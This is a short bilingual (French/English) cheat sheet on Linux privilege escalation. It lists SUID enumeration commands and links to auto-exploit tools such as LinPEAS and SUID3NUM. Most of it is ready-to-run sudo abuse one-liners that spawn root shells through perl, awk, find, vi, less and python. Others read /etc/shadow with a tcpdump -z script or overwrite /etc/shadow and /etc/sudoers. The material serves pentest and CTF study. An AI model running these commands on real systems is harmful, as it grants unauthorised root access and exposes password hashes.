**Linux Privilege Escalation Guide**

**commande utile  :** 


si l'utilisateur non root en question peut par exemple executer perl en root
    sudo -l
    sudo /usr/bin/perl -e 'exec "/bin/sh"'





Linux Privilege Escalation By Using SUID

    for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done
    find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
    find / -uid 0 -perm -4000 -type f 2>/dev/null*

This script is intended to be executed locally on a Linux box to enumerate basic system info and search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text passwords and applicable exploits. https://github.com/sleventyeleven/linuxprivchecker (Attention ce script ne marche pas avec python3)


Description of privesc with LinEnum : https://null-byte.wonderhowto.com/how-to/use-linenum-identify-potential-privilege-escalation-vectors-0197225/

Linux Soft Exploit Suggester - linux-soft-exploit-suggester finds exploits for all vulnerable software in a system helping with the privilege escalation. It focuses on software packages instead of Kernel vulnerabilities https://github.com/belane/linux-soft-exploit-suggester

LinPEAS - Linux Privilege Escalation Awesome Script https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS


**auto exploit** 


A standalone python2/3 script which utilizes python's built-in modules to find SUID bins, separate default bins from custom bins, cross-match those with bins in GTFO Bin's repository & auto-exploit those, all with colors! https://github.com/Anon-Exploiter/SUID3NUM

Enumy is an ultra fast portable executable that you drop on target Linux machine during a pentest or CTF in the post exploitation phase. Running enumy will enumerate the box for common security vulnerabilities. https://github.com/luke-goddard/enumy

**Linux Privilege Escalation using SUID Binaries**
https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/


**Abusing sudo-rights**
  * awk
  * awk 'BEGIN {system("/bin/bash")}'


  * cp
  * Copy and overwrite /etc/shadow

  * find
  * sudo find / -exec bash -i \;
  * find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ;


  * ht
  * The text/binary-editor HT.

  * less
  * From less you can go into vi, and then into a shell.

  * sudo less /etc/shadow
  * v
  * :shell

  * more
  * You need to run more on a file that is bigger than your screen.

  * sudo more /home/pelle/myfile
  * !/bin/bash

  * mv
  * Overwrite /etc/shadow or /etc/sudoers

  * man
nano
nc
nmap
python/perl/ruby/lua/etc

  * sudo perl
  * exec "/bin/bash";


  * sudo python
  * import os
  * os.system("/bin/bash")


  * sh
  * tcpdump
  * echo $'id\ncat /etc/shadow' > /tmp/.test
  * chmod +x /tmp/.test
  * sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

  * vi/vim
  * Can be abused like this:
  * sudo vi
  * :shell
  * :set shell=/bin/bash:shell 
  * :!bash


  * Escalate to root using zip
  * TF=$(mktemp -u)
  * sudo zip $TF /etc/hosts -T -TT 'sh #'
